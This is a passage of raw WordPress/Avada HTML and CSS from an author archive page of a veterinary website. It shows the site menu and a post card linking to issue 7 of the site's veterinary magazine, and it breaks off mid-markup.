/*# sourceURL=global-styles-inline-css */</style><link rel="https://api.w.org/" href="https://nahrainveterinary.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://nahrainveterinary.com/wp-json/wp/v2/users/1" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://nahrainveterinary.com/xmlrpc.php?rsd" /><meta name="generator" content="WordPress 7.1.1" /><link rel="alternate" hreflang="en-US" href="https://nahrainveterinary.com/author/pmdiyar/page/2/"/><link rel="alternate" hreflang="ar" href="https://nahrainveterinary.com/ar/author/pmdiyar/page/2/"/><link rel="alternate" hreflang="en" href="https://nahrainveterinary.com/author/pmdiyar/page/2/"/><link rel="preload" href="https://nahrainveterinary.com/wp-content/themes/Avada/includes/lib/assets/fonts/icomoon/awb-icons.woff" as="font" type="font/woff" crossorigin><link rel="preload" href="//nahrainveterinary.com/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-brands-400.woff2" as="font" type="font/woff2" crossorigin><link rel="preload" href="//nahrainveterinary.com/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-regular-400.woff2" as="font" type="font/woff2" crossorigin><link rel="preload" href="//nahrainveterinary.com/wp-content/themes/Avada/includes/lib/assets/fonts/fontawesome/webfonts/fa-solid-900.woff2" as="font" type="font/woff2" crossorigin><link rel="preload" href="https://nahrainveterinary.com/wp-content/uploads/fusion-icons/magazine-v3/fonts/magazine.ttf?83ek2q" as="font" type="font/ttf" crossorigin><style type="text/css" id="css-fb-visibility">a[href^="#awb-close-collapsible__"][href$="__hide"]:not(.awb-collapse-link-visible),a[href^="#awb-open-collapsible__"][href$="__hide"].awb-collapse-link-hidden{display:none;}@media screen and (max-width: 800px){.fusion-no-small-visibility{display:none !important;}body .sm-text-align-center{text-align:center !important;}body .sm-text-align-left{text-align:left !important;}body .sm-text-align-right{text-align:right !important;}body .sm-text-align-justify{text-align:justify !important;}body .sm-flex-align-center{justify-content:center !important;}body .sm-flex-align-flex-start{justify-content:flex-start !important;}body .sm-flex-align-flex-end{justify-content:flex-end !important;}body .sm-mx-auto{margin-left:auto !important;margin-right:auto !important;}body .sm-ml-auto{margin-left:auto !important;}body .sm-mr-auto{margin-right:auto !important;}body .fusion-absolute-position-small{position:absolute;width:100%;}.awb-sticky.awb-sticky-small{ position: sticky; top: var(--awb-sticky-offset,0); }.fusion-layout-column.awb-collapsible:not(.awb-collapse-open) > .awb-collapsible-content,.fusion-fullwidth.awb-collapsible:not(.awb-collapse-open) > .awb-collapsible-content{max-height:var(--awb-collapsed-height-small,var(--awb-collapsed-height-medium,var(--awb-collapsed-height,200px)));}.fusion-layout-column.awb-collapsible > .awb-collapsible-content,.fusion-fullwidth.awb-collapsible{--awb-collapse-fade-height-bp:var(--awb-collapse-fade-height-small,var(--awb-collapse-fade-height-medium));}.awb-collapse-not-small.awb-collapsible > .awb-collapsible-content{max-height:none !important;overflow:visible !important;-webkit-mask-image:none !important;mask-image:none !important;}.awb-collapse-not-small.awb-collapsible{-webkit-mask-image:none !important;mask-image:none !important;}.awb-collapse-not-small.awb-collapsible::before,.awb-collapse-not-small.awb-collapsible > .awb-collapsible-content::before{display:none !important;}.awb-collapse-not-small.awb-collapsible > .awb-collapse-trigger-wrapper,.awb-collapse-not-small.awb-collapsible + .awb-collapse-trigger-wrapper{display:none !important;}.awb-collapse-link-not-small{display:none !important;}}@media screen and (min-width: 801px) and (max-width: 1100px){.fusion-no-medium-visibility{display:none !important;}body .md-text-align-center{text-align:center !important;}body .md-text-align-left{text-align:left !important;}body .md-text-align-right{text-align:right !important;}body .md-text-align-justify{text-align:justify !important;}body .md-flex-align-center{justify-content:center !important;}body .md-flex-align-flex-start{justify-content:flex-start !important;}body .md-flex-align-flex-end{justify-content:flex-end !important;}body .md-mx-auto{margin-left:auto !important;margin-right:auto !important;}body .md-ml-auto{margin-left:auto !important;}body .md-mr-auto{margin-right:auto !important;}body .fusion-absolute-position-medium{position:absolute;width:100%;}.awb-sticky.awb-sticky-medium{ position: sticky; top: var(--awb-sticky-offset,0); }.fusion-layout-column.awb-collapsible:not(.awb-collapse-open) > .awb-collapsible-content,.fusion-fullwidth.awb-collapsible:not(.awb-collapse-open) > .awb-collapsible-content{max-height:var(--awb-collapsed-height-medium,var(--awb-collapsed-height,200px));}.fusion-layout-column.awb-collapsible > .awb-collapsible-content,.fusion-fullwidth.awb-collapsible{--awb-collapse-fade-height-bp:var(--awb-collapse-fade-height-medium);}.awb-collapse-not-medium.awb-collapsible > .awb-collapsible-content{max-height:none !important;overflow:visible !important;-webkit-mask-image:none !important;mask-image:none !important;}.awb-collapse-not-medium.awb-collapsible{-webkit-mask-image:none !important;mask-image:none !important;}.awb-collapse-not-medium.awb-collapsible::before,.awb-collapse-not-medium.awb-collapsible > .awb-collapsible-content::before{display:none !important;}.awb-collapse-not-medium.awb-collapsible > .awb-collapse-trigger-wrapper,.awb-collapse-not-medium.awb-collapsible + .awb-collapse-trigger-wrapper{display:none !important;}.awb-collapse-link-not-medium{display:none !important;}}@media screen and (min-width: 1101px){.fusion-no-large-visibility{display:none !important;}body .lg-text-align-center{text-align:center !important;}body .lg-text-align-left{text-align:left !important;}body .lg-text-align-right{text-align:right !important;}body .lg-text-align-justify{text-align:justify !important;}body .lg-flex-align-center{justify-content:center !important;}body .lg-flex-align-flex-start{justify-content:flex-start !important;}body .lg-flex-align-flex-end{justify-content:flex-end !important;}body .lg-mx-auto{margin-left:auto !important;margin-right:auto !important;}body .lg-ml-auto{margin-left:auto !important;}body .lg-mr-auto{margin-right:auto !important;}body .fusion-absolute-position-large{position:absolute;width:100%;}.awb-sticky.awb-sticky-large{ position: sticky; top: var(--awb-sticky-offset,0); }.awb-collapse-not-large.awb-collapsible > .awb-collapsible-content{max-height:none !important;overflow:visible !important;-webkit-mask-image:none !important;mask-image:none !important;}.awb-collapse-not-large.awb-collapsible{-webkit-mask-image:none !important;mask-image:none !important;}.awb-collapse-not-large.awb-collapsible::before,.awb-collapse-not-large.awb-collapsible > .awb-collapsible-content::before{display:none !important;}.awb-collapse-not-large.awb-collapsible > .awb-collapse-trigger-wrapper,.awb-collapse-not-large.awb-collapsible + .awb-collapse-trigger-wrapper{display:none !important;}.awb-collapse-link-not-large{display:none !important;}}</style></head><body class="archive paged author author-pmdiyar author-1 paged-2 author-paged-2 wp-theme-Avada wp-child-theme-Avada-Child-Theme translatepress-en_US awb-no-sidebars fusion-image-hovers fusion-pagination-sizing fusion-button_type-flat fusion-button_span-no fusion-button_gradient-linear avada-image-rollover-circle-yes avada-image-rollover-yes avada-image-rollover-direction-left fusion-body ltr fusion-sticky-header no-tablet-sticky-header no-mobile-sticky-header no-mobile-slidingbar no-mobile-totop fusion-disable-outline fusion-sub-menu-fade mobile-logo-pos-left layout-wide-mode avada-has-boxed-modal-shadow- layout-scroll-offset-full avada-has-zero-margin-offset-top fusion-top-header menu-text-align-center mobile-menu-design-classic fusion-show-pagination-text fusion-header-layout-v3 avada-responsive avada-footer-fx-none avada-menu-highlight-style-bar fusion-search-form-classic fusion-main-menu-search-overlay fusion-avatar-circle avada-dropdown-styles avada-blog-layout-large avada-blog-archive-layout-large avada-header-shadow-no avada-menu-icon-position-left avada-has-megamenu-shadow avada-has-mobile-menu-search avada-has-main-nav-search-icon avada-has-breadcrumb-mobile-hidden avada-has-titlebar-bar_and_content avada-header-border-color-full-transparent avada-has-pagination-width_height avada-flyout-menu-direction-fade avada-ec-views-v1 awb-link-decoration" data-awb-post-id="4896"> <script type="litespeed/javascript">var doc=document.documentElement;doc.setAttribute('data-useragent',navigator.userAgent)</script> <a class="skip-link screen-reader-text" href="#content">Skip to content</a><div id="boxed-wrapper"><div id="wrapper" class="fusion-wrapper"><div id="home" style="position:relative;top:-1px;"></div><div class="fusion-tb-header"><div class="fusion-fullwidth fullwidth-box fusion-builder-row-1 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling fusion-sticky-container fusion-custom-z-index" style="--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-z-index:9999;--awb-padding-top:20px;--awb-padding-bottom:20px;--awb-sticky-background-color:var(--awb-color1) !important;--awb-flex-wrap:wrap;--awb-box-shadow: 5px 5px 10px hsla(var(--awb-color8-h),var(--awb-color8-s),calc(var(--awb-color8-l) - 10%),calc(var(--awb-color8-a) - 95%));" data-transition-offset="0" data-scroll-offset="0" data-sticky-large-visibility="1" ><div class="fusion-builder-row fusion-row fusion-flex-align-items-center fusion-flex-content-wrap" style="max-width:1302px;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column fusion-builder-column-0 fusion-flex-column" style="--awb-bg-size:cover;--awb-width-large:25%;--awb-margin-top-large:0px;--awb-spacing-right-large:9.5%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:9.5%;--awb-width-medium:50%;--awb-order-medium:0;--awb-spacing-right-medium:4.75%;--awb-spacing-left-medium:4.75%;--awb-width-small:50%;--awb-order-small:0;--awb-spacing-right-small:4.75%;--awb-spacing-left-small:4.75%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-image-element" style="--awb-max-width:210px;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);"><span class=" fusion-imageframe imageframe-none imageframe-1 hover-type-none"><a class="fusion-no-lightbox" href="https://nahrainveterinary.com/" target="_self" aria-label="logo-smaller"><img fetchpriority="high" decoding="async" width="1008" height="456" src="https://nahrainveterinary.com/wp-content/uploads/2024/02/logo-smaller.png" data-orig-src="https://nahrainveterinary.com/wp-content/uploads/2024/02/logo-smaller.png" alt class="lazyload img-responsive wp-image-2431" srcset="data:image/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20width%3D%271008%27%20height%3D%27456%27%20viewBox%3D%270%200%201008%20456%27%3E%3Crect%20width%3D%271008%27%20height%3D%27456%27%20fill-opacity%3D%220%22%2F%3E%3C%2Fsvg%3E" data-srcset="https://nahrainveterinary.com/wp-content/uploads/2024/02/logo-smaller-200x90.png 200w, https://nahrainveterinary.com/wp-content/uploads/2024/02/logo-smaller-400x181.png 400w, https://nahrainveterinary.com/wp-content/uploads/2024/02/logo-smaller-600x271.png 600w, https://nahrainveterinary.com/wp-content/uploads/2024/02/logo-smaller-800x362.png 800w, https://nahrainveterinary.com/wp-content/uploads/2024/02/logo-smaller.png 1008w" data-sizes="auto" data-orig-sizes="(max-width: 800px) 100vw, 400px" /></a></span></div></div></div><div class="fusion-layout-column fusion_builder_column fusion-builder-column-1 fusion-flex-column fusion-no-small-visibility fusion-no-medium-visibility" style="--awb-bg-size:cover;--awb-width-large:60%;--awb-margin-top-large:0px;--awb-spacing-right-large:0px;--awb-margin-bottom-large:0px;--awb-spacing-left-large:3.9583333333333%;--awb-width-medium:60%;--awb-order-medium:0;--awb-spacing-right-medium:0px;--awb-spacing-left-medium:3.9583333333333%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><nav class="awb-menu awb-menu_row awb-menu_em-hover mobile-mode-collapse-to-button awb-menu_icons-left awb-menu_dc-yes mobile-trigger-fullwidth-off awb-menu_mobile-toggle awb-menu_indent-left awb-menu_mt-align-flex-start mobile-size-full-absolute loading mega-menu-loading awb-menu_desktop awb-menu_dropdown awb-menu_expand-right awb-menu_transition-slide_down fusion-no-small-visibility fusion-no-medium-visibility" style="--awb-font-size:var(--awb-typography3-font-size);--awb-line-height:var(--awb-typography3-line-height);--awb-text-transform:var(--awb-typography3-text-transform);--awb-gap:34px;--awb-justify-content:flex-end;--awb-border-color:var(--awb-color1);--awb-border-top:2px;--awb-letter-spacing:var(--awb-typography3-letter-spacing);--awb-active-color:var(--awb-color4);--awb-active-border-top:2px;--awb-active-border-color:var(--awb-color4);--awb-submenu-sep-color:hsla(var(--awb-color2-h),var(--awb-color2-s),calc(var(--awb-color2-l) + 2%),var(--awb-color2-a));--awb-submenu-items-padding-top:15px;--awb-submenu-items-padding-bottom:15px;--awb-submenu-border-radius-top-left:2px;--awb-submenu-border-radius-top-right:2px;--awb-submenu-border-radius-bottom-right:2px;--awb-submenu-border-radius-bottom-left:2px;--awb-submenu-active-bg:var(--awb-color5);--awb-submenu-active-color:var(--awb-color1);--awb-submenu-font-size:var(--awb-typography5-font-size);--awb-submenu-text-transform:var(--awb-typography5-text-transform);--awb-submenu-line-height:var(--awb-typography5-line-height);--awb-submenu-letter-spacing:var(--awb-typography5-letter-spacing);--awb-submenu-max-width:230px;--awb-icons-hover-color:var(--awb-color4);--awb-main-justify-content:flex-start;--awb-mobile-justify:flex-start;--awb-mobile-caret-left:auto;--awb-mobile-caret-right:0;--awb-box-shadow:0px 10px 30px 10px hsla(var(--awb-color8-h),var(--awb-color8-s),calc(var(--awb-color8-l) - 10%),calc(var(--awb-color8-a) - 90%));;--awb-fusion-font-family-typography:var(--awb-typography3-font-family);--awb-fusion-font-weight-typography:var(--awb-typography3-font-weight);--awb-fusion-font-style-typography:var(--awb-typography3-font-style);--awb-fusion-font-family-submenu-typography:var(--awb-typography5-font-family);--awb-fusion-font-weight-submenu-typography:var(--awb-typography5-font-weight);--awb-fusion-font-style-submenu-typography:var(--awb-typography5-font-style);--awb-fusion-font-family-mobile-typography:inherit;--awb-fusion-font-style-mobile-typography:normal;--awb-fusion-font-weight-mobile-typography:400;" aria-label="Magazine Main Menu" data-breakpoint="1100" data-count="0" data-transition-type="left" data-transition-time="300" data-expand="right"><button type="button" class="awb-menu__m-toggle awb-menu__m-toggle_no-text" aria-expanded="false" aria-controls="menu-magazine-main-menu"><span class="awb-menu__m-toggle-inner"><span class="collapsed-nav-text"><span class="screen-reader-text">Toggle Navigation</span></span><span class="awb-menu__m-collapse-icon awb-menu__m-collapse-icon_no-text"><span class="awb-menu__m-collapse-icon-open awb-menu__m-collapse-icon-open_no-text fa-bars fas"></span><span class="awb-menu__m-collapse-icon-close awb-menu__m-collapse-icon-close_no-text fa-times fas"></span></span></span></button><ul id="menu-magazine-main-menu" class="fusion-menu awb-menu__main-ul awb-menu__main-ul_row"><li  id="menu-item-19"  class="menu-item menu-item-type-custom menu-item-object-custom menu-item-19 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="19"><span class="awb-menu__main-background-default awb-menu__main-background-default_left"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_left"></span><a  href="/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Home</span></a></li><li  id="menu-item-2064"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2064 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2064"><span class="awb-menu__main-background-default awb-menu__main-background-default_left"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_left"></span><a  href="https://nahrainveterinary.com/vet-colleges/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Vet Colleges</span></a></li><li  id="menu-item-2061"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2061 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2061"><span class="awb-menu__main-background-default awb-menu__main-background-default_left"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_left"></span><a  href="https://nahrainveterinary.com/vet-clinics/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Vet Clinics</span></a></li><li  id="menu-item-2063"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2063 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2063"><span class="awb-menu__main-background-default awb-menu__main-background-default_left"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_left"></span><a  href="https://nahrainveterinary.com/vet-companies/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Vet Companies</span></a></li><li  id="menu-item-2062"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2062 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2062"><span class="awb-menu__main-background-default awb-menu__main-background-default_left"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_left"></span><a  href="https://nahrainveterinary.com/laws-regulations/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Laws &#038; Regulations</span></a></li><li  id="menu-item-2065"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2065 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2065"><span class="awb-menu__main-background-default awb-menu__main-background-default_left"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_left"></span><a  href="https://nahrainveterinary.com/magazine/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Magazine</span></a></li></ul></nav></div></div><div class="fusion-layout-column fusion_builder_column fusion-builder-column-2 fusion-flex-column" style="--awb-bg-size:cover;--awb-width-large:15%;--awb-margin-top-large:0px;--awb-spacing-right-large:15.833333333333%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:15.833333333333%;--awb-width-medium:50%;--awb-order-medium:0;--awb-spacing-right-medium:4.75%;--awb-spacing-left-medium:4.75%;--awb-width-small:50%;--awb-order-small:0;--awb-spacing-right-small:4.75%;--awb-spacing-left-small:4.75%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-end fusion-content-layout-row"><a class="fb-icon-element-1 fb-icon-element fontawesome-icon awb-magazine-search circle-yes fusion-text-flow fusion-link" style="--awb-iconcolor-hover:var(--awb-color1);--awb-circlecolor:var(--awb-color4);--awb-circlecolor-hover:var(--awb-color5);--awb-circlebordercolor-hover:var(--awb-color8);--awb-circlebordersize:0px;--awb-font-size:16px;--awb-width:42px;--awb-height:42px;--awb-line-height:42px;--awb-margin-right:8px;" href="#awb-open-oc__1046" target="_self" aria-label="Link to #awb-open-oc__1046"></a><a class="fb-icon-element-2 fb-icon-element fontawesome-icon awb-magazine-menu circle-yes fusion-text-flow fusion-link" style="--awb-iconcolor-hover:var(--awb-color1);--awb-circlecolor-hover:var(--awb-color8);--awb-circlebordercolor-hover:var(--awb-color8);--awb-circlebordersize:0px;--awb-font-size:14px;--awb-width:42px;--awb-height:42px;--awb-line-height:42px;--awb-margin-right:7px;" href="#awb-open-oc__1684" target="_self" aria-label="Link to #awb-open-oc__1684"></a></div></div></div></div></div><div id="sliders-container" class="fusion-slider-visibility"></div><section class="fusion-page-title-bar fusion-tb-page-title-bar"><div class="fusion-fullwidth fullwidth-box fusion-builder-row-2 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling" style="--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-background-color:hsla(var(--awb-color2-h),var(--awb-color2-s),calc(var(--awb-color2-l) + 2%),var(--awb-color2-a));--awb-flex-wrap:wrap;" ><div class="fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="max-width:1302px;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column fusion-builder-column-3 fusion_builder_column_1_1 1_1 fusion-flex-column" style="--awb-padding-top:35px;--awb-padding-bottom:35px;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-1 fusion-sep-none fusion-title-center fusion-title-text fusion-title-size-two" style="--awb-margin-bottom:10px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-margin-bottom-medium:20px;"><h2 class="fusion-title-heading title-heading-center" style="margin:0;text-transform:capitalize;">pmdiyar</h2></div></div></div></div></div></section><main id="main" class="clearfix width-100"><div class="fusion-row" style="max-width:100%;"><section id="content" style=""><div class="post-content"><div class="fusion-fullwidth fullwidth-box fusion-builder-row-3 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling" style="--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-flex-wrap:wrap;" ><div class="fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="max-width:1302px;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column fusion-builder-column-4 fusion_builder_column_1_1 1_1 fusion-flex-column" style="--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-post-cards-archives-tb" data-instance="1" data-infinite-post-class="post" ><div class="fusion-post-cards fusion-post-cards-1 fusion-grid-archive fusion-grid-columns-2" style="--awb-dots-align:center;--awb-columns:2;" data-post-type-label="posts"><ul class="fusion-grid fusion-grid-2 fusion-flex-align-items-flex-start fusion-grid-posts-cards fusion-grid-container-infinite" data-pages="44"><li class="fusion-layout-column fusion_builder_column fusion-builder-column-5 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center center;--awb-bg-size:cover;--awb-border-color:var(--awb-color2);--awb-border-bottom:1px;--awb-border-style:solid;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-0 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2026/08/photo_2024-11-13_14-11-15.jpg" data-bg="https://nahrainveterinary.com/wp-content/uploads/2026/08/photo_2024-11-13_14-11-15.jpg" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-1 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-7/"><span class="fusion-button-text awb-button__text awb-button__text--default">Magazine</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-1 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-2 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-7/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 7</a></h4></div><div class="fusion-text fusion-text-1" style="--awb-margin-top:10px;"><p>nahrain veterinary magazine no. 7 &nbsp; https://drive.google.com/file/d/1hAmArLML5MfdQdAZjZpwJRr_9vEDc284/view?usp=drive_link</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-2 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">August 19, 2026</span></a></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-6 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-position:center 